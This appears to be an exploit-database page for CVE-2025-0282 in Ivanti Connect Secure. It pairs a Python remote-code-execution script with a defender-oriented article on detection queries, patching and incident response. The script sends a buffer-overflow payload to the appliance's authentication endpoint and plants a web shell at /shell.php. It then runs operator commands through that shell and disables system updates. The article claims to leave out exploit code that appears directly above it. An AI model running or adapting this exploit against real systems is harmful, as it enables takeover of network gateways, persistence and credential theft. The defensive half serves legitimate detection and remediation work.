Ivanti Connect Secure 22.7R2.5 - Remote Code Execution (RCE)

Exploit Author: Abdualhadi khalifa Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-04-15 
# Exploit Title: Ivanti Connect Secure 22.7R2.5  - Remote Code Execution (RCE)
# Date: 2025-01-11
# Exploit Author: @absholi7ly
# CVE: CVE-2025-0282

import requests
import sys
import struct
import socket
import ssl
import urllib3
import time

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_exploit_payload(command, offset=500, system_address=0x0804a360, command_address=0x0804b008):

    payload = b"A" * offset  # Fill the buffer
    payload += struct.pack("<I", system_address)  # Overwrite return address with system()
    payload += b"BBBB"  # Fake return address
    payload += struct.pack("<I", command_address)  # Address of the command
    payload += command.encode()  # Command to execute
    return payload

def send_payload(target_ip, payload):

    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        ssl_sock = context.wrap_socket(sock, server_hostname=target_ip)

        ssl_sock.connect((target_ip, 443))
        print(f"[+] Connected to {target_ip} on port 443 (HTTPS).")

        exploit_endpoint = "/dana-na/auth/url_default/welcome.cgi"
        http_request = (
            f"POST {exploit_endpoint} HTTP/1.1\r\n"
            f"Host: {target_ip}\r\n"
            f"Content-Length: {len(payload)}\r\n"
            f"Content-Type: application/x-www-form-urlencoded\r\n"
            f"\r\n"
        ).encode() + payload

        ssl_sock.send(http_request)
        response = ssl_sock.recv(4096)
        ssl_sock.close()
        return response.decode(errors="replace")

    except Exception as e:
        print(f"[-] Error sending payload: {e}")
        return None

def exploit_vulnerability(target_ip, command):

    payload = create_exploit_payload(command)
    response = send_payload(target_ip, payload)
    if response:
        print("[+] Payload sent successfully.")
    else:
        print("[-] No response received.")

def upload_web_shell(target_ip, local_shell_path):

    try:
        with open(local_shell_path, "r") as f:
            web_shell_content = f.read()

        command = f"echo '{web_shell_content}' > /shell.php"
        exploit_vulnerability(target_ip, command)
        print("[+] Web shell uploaded successfully at /shell.php.")
        verify_shell(target_ip)

    except Exception as e:
        print(f"[-] Error uploading web shell: {e}")

def verify_shell(target_ip):

    shell_url = f"http://{target_ip}/shell.php"
    try:
        response = requests.get(shell_url, verify=False, timeout=10)
        if response.status_code == 200:
            print("[+] Web shell is accessible.")
        else:
            print(f"[-] Web shell is not accessible. HTTP status: {response.status_code}")
    except Exception as e:
        print(f"[-] Error verifying web shell: {e}")

def execute_shell_command(target_ip, command):

    shell_url = f"http://{target_ip}/shell.php"
    try:
        # Sending the command via POST
        response = requests.post(shell_url, data={"cmd": command}, verify=False, timeout=10)
        if response.status_code == 200:
            print(f"[+] Command output:\n{response.text.strip()}")
        else:
            print(f"[-] Failed to execute command via shell. HTTP status: {response.status_code}")
    except Exception as e:
        print(f"[-] Error executing command via web shell: {e}")

def disable_updates(target_ip):

    commands = [
        "systemctl stop apt-daily.service",
        "systemctl disable apt-daily.service"
    ]
    for command in commands:
        execute_shell_command(target_ip, command)
    print("[+] System updates disabled successfully.")


def main():

    if len(sys.argv) != 3:
        print("Usage: python3 cve_2025_0282.py <target IP> <local_shell_path>")
        sys.exit(1)

    target_ip = sys.argv[1]
    local_shell_path = sys.argv[2]

    # Upload the web shell
    upload_web_shell(target_ip, local_shell_path)

    while True:
        command = input("Enter command to execute on the target (or 'exit' to quit): ")
        if command.lower() == "exit":
            print("Exiting...")
            break

        execute_shell_command(target_ip, command)

if __name__ == "__main__":
    main()


Ivanti Connect Secure 22.7R2.5 — Remote Code Execution (CVE-2025-0282)

This article provides a technical, defender-focused overview of the Ivanti Connect Secure (ICS) remote code execution (RCE) issue tracked as CVE-2025-0282. It summarizes the vulnerability at a high level, assesses likely impact, outlines detection and mitigation strategies for security teams, and suggests safe testing and incident-response best practices. This content is written for system administrators, incident responders, and security engineers who must protect, detect, and remediate affected deployments.

Executive summary

CVE-2025-0282 is a critical remote code execution vulnerability affecting Ivanti Connect Secure appliances (reported in 22.7R2.5 deployments). According to public reports, the issue can be triggered through the web-facing authentication endpoint, enabling unauthenticated attackers to execute arbitrary commands on vulnerable appliances. The vulnerability has real-world exploit demonstrations, increasing urgency for defenders to respond rapidly.

Why this matters

  • High impact: A successful RCE on a VPN appliance can yield persistent control of a network gateway, exfiltrate credentials, or enable lateral movement.
  • Internet exposure: Many ICS appliances are Internet-facing; exploitation can be automated and quickly weaponized.
  • Trusted position: VPN appliances often have elevated trust inside networks, making compromises especially dangerous.

Technical overview (non-actionable)

Public accounts indicate the vulnerability can be triggered via an HTTP(S) request to a web authentication handler used by Ivanti Connect Secure. In high-level terms, the underlying class of flaw is consistent with memory-corruption-based RCE (for example, a buffer overrun or related error) in an unauthenticated context. Successful exploitation results in arbitrary command execution on the appliance OS.

Important: This article intentionally omits exploit code, payload construction, and low-level addresses or offsets. Those details materially facilitate attacks and are excluded. The remainder focuses on detection, mitigation, and secure remediation.

Potential impact — real-world scenarios

  • Immediate takeover of appliance management and tunneling of internal traffic.
  • Credential capture for VPN users and services.
  • Persistence within the network via backdoors or scheduled tasks.
  • Use of the appliance as a pivot point to reach critical internal systems.

Detection and indicators of compromise (IoCs)

Defenders should look for anomalous activity around the appliance management plane and web-authentication endpoints. Useful telemetry sources include web server logs on the appliance, perimeter WAF/NGFW logs, proxy logs, and EDR telemetry on adjacent hosts.

  • Unusual or malformed POST requests to authentication handlers. (Monitor for unusually large Content-Length values or binary-like request bodies to authentication endpoints.)
  • Unexpected process executions on the appliance (new shells, interpreters, or suspicious system commands).
  • New or modified files in webroot or unexpected PHP/CGI artifacts if file-write is attempted via exploitation.
  • Outbound connections from the appliance to unknown hosts shortly after suspicious HTTP requests.

Example: defensive searches and queries


# Splunk example: find large POSTs to the web auth handler in HTTP logs
index=web_logs sourcetype=access_combined
 "POST" "/dana-na/auth/url_default/welcome.cgi"
 | where toint(content_length) > 10000
 | table _time, clientip, host, content_length, uri

Explanation: This Splunk query looks for POST requests to the authentication endpoint with content-length larger than a threshold. Adjust the threshold to your environment. The query helps surface anomalously large or binary-like POST bodies which can be a sign of attempted exploitation.


# Generic SIEM / ELK pseudo-query
http.request.method: "POST" AND http.request.uri.path: "/dana-na/auth/url_default/welcome.cgi" AND http.request.body.bytes > 10000

Explanation: This is an ELK-style filter showing the same high-level concept—flag large POSTs to the vulnerable handler. Use existing fields in your logs or normalize them to enable this detection.

Network-level detection (concept only)

At the network perimeter, look for suspicious POSTs to the vulnerable endpoints and for subsequent outbound connections from the appliance to unexpected hosts. If you use a WAF, configure rules to alert on or block anomalous request sizes or content to the relevant URL paths.

Remediation and mitigation

Prioritize these actions based on the appliance criticality and exposure.

  • Patch immediately: Apply vendor-supplied patches or upgrades from Ivanti as the first and best remediation step. Follow Ivanti advisory guidance before making changes in production.
  • Isolate exposed appliances: If patching cannot be performed immediately, restrict network access to the management and VPN interfaces. Limit access to trusted IPs and management networks only.
  • Apply layered mitigations: Use WAF/NGFW to block or alert on anomalous POST requests to web authentication endpoints and rate-limit or drop oversized payloads. Implement strict ingress rules at the network perimeter.
  • Credential rotation: Rotate administrative and service credentials used by the appliance after confirmed or suspected compromise. Rotate keys used to access downstream services.
  • Rebuild if compromised: If compromise is confirmed, perform a full forensic image, then rebuild the appliance from known-good images and reconfigure rather than relying on patching an infected OS.
  • Monitoring and logging: Increase logging verbosity temporarily, export logs to a central SIEM, and monitor for indicators described above.

Practical patching checklist

StepNotes
Confirm model and firmwareRecord current firmware/build of Ivanti Connect Secure appliance before any changes.
Review vendor advisoryFollow Ivanti guidance and recommended upgrade path for minimal service impact.
Schedule maintenance windowApply patch during a controlled maintenance window; ensure backups configuration exported.
Test in stagingDeploy updates in staging or lab before production, if feasible.
Monitor post-patchAfter update, verify functionality and continue monitoring logs/telemetry closely.

Incident response guidance

  • Immediately preserve logs (web server, system, network) and, if possible, capture a forensic image of the appliance.
  • Identify the scope: which internal hosts and services the appliance communicates with and whether credentials were used elsewhere.
  • Check for indicators of persistence: scheduled tasks, modified startup scripts, or unknown web files under management directories.
  • If evidence of compromise exists, isolate the appliance and proceed with rebuild from trusted media; do not trust an appliance after confirmed RCE without full remediation.

Secure configuration best practices for VPN appliances

  • Limit management plane exposure: never expose admin interfaces to the public Internet where possible.
  • Use network segmentation so that compromised appliances have limited ability to reach internal assets.
  • Enforce multi-factor authentication for administrative access.
  • Apply the principle of least privilege to service accounts and remote access policies.
  • Keep devices on a patch cadence and subscribe to vendor security advisories.

Safe testing and responsible disclosure

Security teams that need to validate detections or confirm remediation should follow safe testing approaches:

  • Test only in an isolated lab or staging environment representative of production.
  • Use vendor-provided test cases or guidance where available; do not use public exploit code in production networks.
  • If you discover new exploitation attempts, coordinate disclosure with Ivanti and follow established vulnerability disclosure processes.

Example: safe pseudo-code illustrating secure string handling (non-exploitable)


// C-like pseudo-code demonstrating safe copy to prevent buffer overflow
void safe_copy(char *dest, size_t dest_size, const char *src) {
    size_t to_copy = strnlen(src, dest_size - 1); // reserve room for NUL
    memcpy(dest, src, to_copy);
    dest[to_copy] = '\0';
}

Explanation: This pseudo-code demonstrates defensive programming to avoid buffer overruns: always bound string copies by the destination buffer size, reserve space for a terminating NUL, and avoid unbounded functions like strcpy. This kind of defensive practice reduces the risk of memory-corruption vulnerabilities that can lead to RCE.

Summary and actionable checklist

  • Prioritize patching Ivanti Connect Secure appliances as per vendor advisory.
  • If immediate patching is impossible, restrict access and apply perimeter controls (WAF/NGFW) to block anomalous POST traffic.
  • Hunt for suspicious requests and post-exploitation indicators using centralized logs and EDR telemetry.
  • Isolate and rebuild appliances if compromise is confirmed, and rotate credentials.
  • Adopt secure configuration and monitoring policies to reduce future exposure.

Further resources

  • Ivanti security advisories and product support pages — follow vendor guidance for patches and mitigation.
  • Your internal incident-response runbook and forensic procedures.
  • Open-source detection tooling and SIEM documentation for implementing the sample queries above.